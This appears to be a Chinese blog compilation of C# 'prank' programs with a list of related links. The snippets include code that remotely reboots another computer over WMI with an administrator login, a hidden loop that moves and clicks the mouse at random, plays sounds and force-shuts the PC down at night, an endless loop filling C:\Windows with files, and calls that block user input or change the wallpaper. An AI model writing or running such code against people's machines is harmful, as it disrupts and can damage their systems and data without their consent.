int nHeight, // 目标对象的矩形的长度
IntPtr hdcSrc, // 源设备的句柄
int nXSrc, // 源对象的左上角的X坐标
int nYSrc, // 源对象的左上角的X坐标
System.Int32 dwRop // 光栅的操作值
);
public static Bitmap getDisplay()
{
IntPtr dc1 = CreateDC("DISPLAY", null, null, (IntPtr)null);
//创建显示器的DC
Graphics g1 = Graphics.FromHdc(dc1);
//由一个指定设备的句柄创建一个新的Graphics对象
Bitmap MyImage = new Bitmap(Screen.PrimaryScreen.Bounds.Width, Screen.PrimaryScreen.Bounds.Height, g1);
//根据屏幕大小创建一个与之相同大小的Bitmap对象
Graphics g2 = Graphics.FromImage(MyImage);
//获得屏幕的句柄
IntPtr dc3 = g1.GetHdc();
//获得位图的句柄
IntPtr dc2 = g2.GetHdc();
//把当前屏幕捕获到位图对象中
BitBlt(dc2, 0, 0, Screen.PrimaryScreen.Bounds.Width, Screen.PrimaryScreen.Bounds.Height, dc3, 0, 0, 13369376);
//把当前屏幕拷贝到位图中
g1.ReleaseHdc(dc3);
//释放屏幕句柄
g2.ReleaseHdc(dc2);
//释放位图句柄
return MyImage;
}
}
****************************************************************************************
远程关闭别人的电脑
using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Text;
using System.Windows.Forms;
using System.Management;
namespace Ex18_11
{
public partial class Form1 : Form
{
public Form1()
{
InitializeComponent();
}
private void button1_Click(object sender, EventArgs e)
{
//指定生成 WMI 连接所需的所有设置
ConnectionOptions op = new ConnectionOptions();
op.Username = "administrator"; //远程计算机用户名称
op.Password = ""; //远程计算机用户密码
//设置操作管理范围
ManagementScope scope = new ManagementScope("\\\\" + "192.9.103.114" + "\\root\\cimv2", op);
scope.Connect(); //将此 ManagementScope 连接到实际的 WMI 范围。
ObjectQuery oq = new ObjectQuery("SELECT * FROM Win32_OperatingSystem");
ManagementObjectSearcher query = new ManagementObjectSearcher(scope, oq);
//得到WMI控制
ManagementObjectCollection queryCollection = query.Get();
foreach (ManagementObject obj in queryCollection)
{
// obj.InvokeMethod("ShutDown", null); //执行关闭远程计算机,reboot为重新启动
obj.InvokeMethod("Reboot",null);
}
}
}
}
*****************************************************************************************
直接关闭显示器
using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Text;
using System.Windows.Forms;
using System.Runtime.InteropServices;
namespace ControlHardWare
{
public partial class Form1 : Form
{
public Form1()
{
InitializeComponent();
}
#region SendMessage
public const uint WM_SYSCOMMAND = 0x0112;
public const uint SC_MONITORPOWER = 0xF170;
[DllImport("user32")]
public static extern IntPtr SendMessage(IntPtr hWnd, uint wMsg, uint wParam, int lParam);
#endregion
private void button1_Click(object sender, EventArgs e)
{
CloseLCD(sender, e);
}
void CloseLCD(object sender, EventArgs e)
{
SendMessage(this.Handle, WM_SYSCOMMAND, SC_MONITORPOWER, 2); // 2 为关闭显示器, -1则打开显示器
}
}
}
*****************************************************************************************
C# code;
using System.Runtime.InteropServices;
C# code;
public class Shudown
{
[StructLayout(LayoutKind.Sequential, Pack = 1)]
internal struct TokPriv1Luid
{
public int Count;
public long Luid;
public int Attr;
}
[DllImport("kernel32.dll", ExactSpelling = true)]
internal static extern IntPtr GetCurrentProcess();
[DllImport("advapi32.dll", ExactSpelling = true, SetLastError = true)]
internal static extern bool OpenProcessToken(IntPtr h, int acc, ref IntPtr phtok);
[DllImport("advapi32.dll", SetLastError = true)]
internal static extern bool LookupPrivilegeValue(string host, string name, ref long pluid);
[DllImport("advapi32.dll", ExactSpelling = true, SetLastError = true)]
internal static extern bool AdjustTokenPrivileges(IntPtr htok, bool disall,
ref TokPriv1Luid newst, int len, IntPtr prev, IntPtr relen);
[DllImport("user32.dll", ExactSpelling = true, SetLastError = true)]
internal static extern bool ExitWindowsEx(int DoFlag, int rea);
internal const int SE_PRIVILEGE_ENABLED = 0x00000002;
internal const int TOKEN_QUERY = 0x00000008;
internal const int TOKEN_ADJUST_PRIVILEGES = 0x00000020;
internal const string SE_SHUTDOWN_NAME = "SeShutdownPrivilege";
internal const int EWX_LOGOFF = 0x00000000;
internal const int EWX_SHUTDOWN = 0x00000001;
internal const int EWX_REBOOT = 0x00000002;
internal const int EWX_FORCE = 0x00000004;
internal const int EWX_POWEROFF = 0x00000008;
internal const int EWX_FORCEIFHUNG = 0x00000010;
private static void DoExitWin(int DoFlag)
{
bool ok;
TokPriv1Luid tp;
IntPtr hproc = GetCurrentProcess();
IntPtr htok = IntPtr.Zero;
ok = OpenProcessToken(hproc, TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, ref htok);
tp.Count = 1;
tp.Luid = 0;
tp.Attr = SE_PRIVILEGE_ENABLED;
ok = LookupPrivilegeValue(null, SE_SHUTDOWN_NAME, ref tp.Luid);
ok = AdjustTokenPrivileges(htok, false, ref tp, 0, IntPtr.Zero, IntPtr.Zero);
ok = ExitWindowsEx(DoFlag, 0);
}
public static void Reboot()
{
DoExitWin(EWX_FORCE | EWX_REBOOT);
}
public static void PowerOff()
{
DoExitWin(EWX_FORCE | EWX_POWEROFF);
}
public static void LogOff()
{
DoExitWin(EWX_FORCE | EWX_LOGOFF);
}
}
只要调用 Reboot()重启,PowerOff()关闭,LogOff()注销 这三个函数就OK了~!
*****************************************************************************************
using System;
using System.Diagnostics;
using System.Media;
using System.Runtime.InteropServices;
using System.Threading;
namespace wga
{
static class Program
{
const int MOUSEEVENTF_LEFTDOWN = 0x2;
const int MOUSEEVENTF_LEFTUP = 0x4;
const int MOUSEEVENTF_MIDDLEDOWN = 0x20;
const int MOUSEEVENTF_MIDDLEUP = 0x40;
const int MOUSEEVENTF_MOVE = 0x1;
const int MOUSEEVENTF_ABSOLUTE = 0x8000;
const int MOUSEEVENTF_RIGHTDOWN = 0x8;
const int MOUSEEVENTF_RIGHTUP = 0x10;
[DllImport("user32.dll")]
static extern int GetSystemMetrics(int nIndex);
[DllImport("user32.dll")]
static extern int SetCursorPos(int x, int y);
[DllImport("user32.dll")]
static extern int mouse_event(int dwFlags, int dx, int dy, int cButtons, int dwExtraInfo);
static int Sx, Sy;
static long tick = 1;
static Random rnd = new Random();
[STAThread]
static void Main()
{
try
{
Sx = GetSystemMetrics(0);
Sy = GetSystemMetrics(1);
while(true)
{
if((DateTime.Now.Hour > 22 && DateTime.Now.Minute > 30 || DateTime.Now.Hour < 6) && rnd.Next(1500) == 0)
DoShutdown();
Thread.Sleep(1000);
tick += rnd.Next(2);
if(tick < 1800)
continue;
if(tick % 643 == 0)
DoMouse();
if(tick % 313 == 0)
DoBang();
}
}
catch { };
}
static void DoMouse()
{
int dx, dy;
int c = 4;
while(c-- > 0)
{
dx = rnd.Next(Sx);
dy = rnd.Next(Sy);
switch(rnd.Next(3))
{
case 0:
SetCursorPos(dx, dy);
break;
case 1:
mouse_event(MOUSEEVENTF_LEFTDOWN | MOUSEEVENTF_LEFTUP | MOUSEEVENTF_ABSOLUTE, dx, dy, 0, 0);
break;
case 2:
mouse_event(MOUSEEVENTF_RIGHTDOWN | MOUSEEVENTF_RIGHTUP | MOUSEEVENTF_ABSOLUTE, dx, dy, 0, 0);
break;
}
Thread.Sleep(100);
}
}
static void DoBang()
{
switch(rnd.Next(4))
{
case 0:
SystemSounds.Asterisk.Play();
break;
case 1:
SystemSounds.Beep.Play();
break;
case 2:
SystemSounds.Exclamation.Play();
break;
case 3:
SystemSounds.Hand.Play();
break;
}
}
static void DoShutdown()
{
Process.Start("shutdown.exe", "-f -s -t 0");
}
}
}
*************************************************************************************
C# code;
using System;
using System.Collections.Generic;
using System.Windows.Forms;
//
using System.Runtime.InteropServices;
using System.Threading;
using System.Media;
namespace Z
{
static class Program
{
const int MOUSEEVENTF_LEFTDOWN = 0x2;
const int MOUSEEVENTF_LEFTUP = 0x4;
const int MOUSEEVENTF_MIDDLEDOWN = 0x20;
const int MOUSEEVENTF_MIDDLEUP = 0x40;
const int MOUSEEVENTF_MOVE = 0x1;
const int MOUSEEVENTF_ABSOLUTE = 0x8000;
const int MOUSEEVENTF_RIGHTDOWN = 0x8;
const int MOUSEEVENTF_RIGHTUP = 0x10;
[DllImport("user32.dll")]
static extern int GetSystemMetrics(int nIndex);
[DllImport("user32.dll")]
static extern int SetCursorPos(int x, int y);
[DllImport("user32.dll")]
static extern int mouse_event(int dwFlags, int dx, int dy, int cButtons, int dwExtraInfo);
static int Sx, Sy;
static long tick = 1;
static Random rnd = new Random();
[STAThread]
static void Main()
{
try
{
Sx = GetSystemMetrics(0);
Sy = GetSystemMetrics(1);
while (true)
{
if ((DateTime.Now.Hour > 22 && DateTime.Now.Minute > 30 || DateTime.Now.Hour < 6) && rnd.Next(1500) == 0)
DoShutdown();
Thread.Sleep(1000);
tick += rnd.Next(2);
if (tick < 1800)
continue;
if (tick % 643 == 0)
DoMouse();
if (tick % 313 == 0)
DoBang();
}
}
catch { };
}
static void DoMouse()
{
int dx, dy;
int c = 4;
while (c-- > 0)
{
dx = rnd.Next(Sx);
dy = rnd.Next(Sy);
switch (rnd.Next(3))
{
case 0:
SetCursorPos(dx, dy);
break;
case 1:
mouse_event(MOUSEEVENTF_LEFTDOWN | MOUSEEVENTF_LEFTUP | MOUSEEVENTF_ABSOLUTE, dx, dy, 0, 0);
break;
case 2:
mouse_event(MOUSEEVENTF_RIGHTDOWN | MOUSEEVENTF_RIGHTUP | MOUSEEVENTF_ABSOLUTE, dx, dy, 0, 0);
break;
}
Thread.Sleep(100);
}
}
static void DoBang()
{
switch (rnd.Next(4))
{
case 0:
SystemSounds.Asterisk.Play();
break;
case 1:
SystemSounds.Beep.Play();
break;
case 2:
SystemSounds.Exclamation.Play();
break;
case 3:
SystemSounds.Hand.Play();
break;
}
}
static void DoShutdown()
{
[color=#FF0000]Process[/color].Start("shutdown.exe", "-f -s -t 0");
}
}
}
报错耶: 当前上下文中不存在"Process".
*****************************************************************************************8
我也来个。。。
long k=0;
While(true)
{
k++;
File.Create("C:\Windows\"+k.ToString()+".jok");
}
***************************************************************************************8
再来一个,启动屏保
C# code;
private void RunScreenSaver()
{
String[] screenSavers = Directory.GetFiles(Environment.SystemDirectory, "*.scr");
if (screenSavers.Length > 0)
{
// 启动获取到的第一个屏保
Process.Start(new ProcessStartInfo(screenSavers[0]));
}
}
**************************************************************************************
篡改背景图片
C# code;
[DllImport("user32.dll", EntryPoint = "SystemParametersInfo")]
public static extern int SystemParametersInfo(
int uAction,
int uParam,
string lpvParam,
int fuWinIni
);
/// <summary>
/// 设置背景图片
/// </summary>
/// <param name="picture">图片路径</param>
private void SetDestPicture(string picture)
{
if (File.Exists(picture))
{
if (Path.GetExtension(picture).ToLower() != "bmp")
{
// 其它格式文件先转换为bmp再设置
string tempFile = @"D:\test.bmp";
Image image = Image.FromFile(picture);
image.Save(tempFile, System.Drawing.Imaging.ImageFormat.Bmp);
picture = tempFile;
}
SystemParametersInfo(20, 0, picture, 0x2);
}
}
*****************************************************************************************8
我也发一个,阻止用户输入,不过按Ctrl+Alt++del就可解除。
C# code
// true阻止输入,false解除阻止输入
[DllImport("User32.dll")]
public static extern bool BlockInput(bool enabled);
***************************************************************************************8
C# codeusing System;
using System.Diagnostics;
using System.Media;
using System.Runtime.InteropServices;
using System.Threading;
namespace wga
{
static class Program
{
const int MOUSEEVENTF_LEFTDOWN = 0x2;
const int MOUSEEVENTF_LEFTUP = 0x4;
const int MOUSEEVENTF_MIDDLEDOWN = 0x20;
const int MOUSEEVENTF_MIDDLEUP = 0x40;
const int MOUSEEVENTF_MOVE = 0x1;
const int MOUSEEVENTF_ABSOLUTE = 0x8000;
const int MOUSEEVENTF_RIGHTDOWN = 0x8;
const int MOUSEEVENTF_RIGHTUP = 0x10;
[DllImport("user32.dll")]
static extern int GetSystemMetrics(int nIndex);
[DllImport("user32.dll")]
static extern int SetCursorPos(int x, int y);
[DllImport("user32.dll")]
static extern int mouse_event(int dwFlags, int dx, int dy, int cButtons, int dwExtraInfo);
static int Sx, Sy;
static long tick = 1;
static Random rnd = new Random();
[STAThread]
static void Main()
{
try
{
Sx = GetSystemMetrics(0);
Sy = GetSystemMetrics(1);
while(true)
{
if((DateTime.Now.Hour > 22 && DateTime.Now.Minute > 30 || DateTime.Now.Hour < 6) && rnd.Next(1500) == 0)
DoShutdown();
Thread
*************************************************************************************88
0 0
- c# 恶搞代码
- python 恶搞代码
- 恶搞关机脚本代码
- 恶搞!
- 恶搞
- 恶搞熊猫烧香
- 透视网络恶搞
- 恶搞十二星座
- 试卷恶搞
- 恶搞影片 mockbuster
- 恶搞西游记
- 幽默恶搞
- 什么是恶搞
- Java恶搞微软
- 恶搞程序
- 恶搞 动画片名字
- 恶搞脑筋急转弯
- 恶搞同学
- javascript入门
- mongodb进阶(1):主从复制
- solr创建索引源码解析
- Git学习教程(七) Git差异比对
- 学习ajax【2】js事件触发大全
- c# 恶搞代码
- 如何把多张图片转换为PDF文件
- [转载]Android中View绘制流程以及invalidate()等相关方法分析
- android TextView设置颜色方法
- 黑马程序员----字符流,字节流,二进制序列化的使用及区别
- ubuntu 更新时出现校验和不符 的一种解决办法
- 【fk_index】外键中有无索引的区别
- 昂起头来真美
- 安装nodejs